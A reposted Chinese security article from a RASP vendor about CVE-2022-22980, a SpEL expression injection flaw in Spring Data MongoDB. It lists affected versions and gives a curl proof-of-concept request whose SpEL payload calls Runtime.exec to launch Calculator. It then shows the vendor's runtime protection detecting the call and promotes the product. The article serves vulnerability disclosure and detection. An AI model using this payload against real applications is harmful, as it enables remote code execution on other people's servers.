RASP| Spring data mongodb spel(CVE-2022-22980)

admin 2022年6月25日18:15:00安全文章评论12 views1082字阅读3分36秒阅读模式

    Spring Data MongoDB 是一个开源项目,它提供了与 MongoDB 文档数据库的集成,可以极大提高 Java 开发人员在使用 MongoDB 时的效率。近日监控到 Spring Data MongoDB 爆出 SpEL 表达式注入漏洞 CVE-2022-22980。

    当使用 `@Query` 或 `@Aggregation` 注释进行查询并且通过 SpEL 表达式中形如 `?0` 、`?1` 等占位符进行参数赋值时,可导致 SpEL 表达式注入漏洞,从而实现 RCE 。影响版本如下:

  •  v3.4.0

  •  v3.3.0 to v3.3.4

  •  Older, unsupported versions are also affected


环境搭建

    

    为了方便漏洞调试分析,新建一个 SpringBoot 项目,并引入 Spring Data MongoDB v3.4.0 。参考  Spring Data MongoDB 查询 SpEL 解析定义规范以及补丁对比分析结果,完成调试环境配置。最后为了方便构造漏洞测试过程,编写如下控制器:

RASP| Spring data mongodb spel(CVE-2022-22980)


(https://github.com/threedr3am/learnjavabug/tree/master/spring/spring-data-mongodb-spel-CVE-2022-22980)

漏洞复现


请求参数为 SpEL 表达式注入漏洞载荷,最终效果如下:

curl --location --request POST 'http://49.235.111.228:9999/demo' --header 'Content-Type: application/x-www-form-urlencoded' --data-urlencode 'keyword=T(java.lang.String).forName('''java.lang.Runtime''').getRuntime().exec('''/System/Applications/Calculator.app/Contents/MacOS/Calculator''')'

RASP| Spring data mongodb spel(CVE-2022-22980)


管理端:

RASP| Spring data mongodb spel(CVE-2022-22980)

RASP| Spring data mongodb spel(CVE-2022-22980)


匹配到命令执行的调用栈,判定为高危

后续功能迭代


  • 增加SPEL插件模块:近期SPEL表达式注入漏洞发生多个,增加表达式检测插件,提高检测能力;


 

RASP| Spring data mongodb spel(CVE-2022-22980)

如需获取更多信息,请访问我们的页面(http://www.jrasp.com/)  开源免费,欢迎使用

  • 微信:sear2022

  • jrasp 目前已经接入主机超过500,防护进程超过5000+,成熟稳定;

RASP| Spring data mongodb spel(CVE-2022-22980)

原文始发于微信公众号(RASP安全技术):RASP| Spring data mongodb spel(CVE-2022-22980)

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月25日18:15:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  RASP| Spring data mongodb spel(CVE-2022-22980) http://cn-sec.com/archives/1143838.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: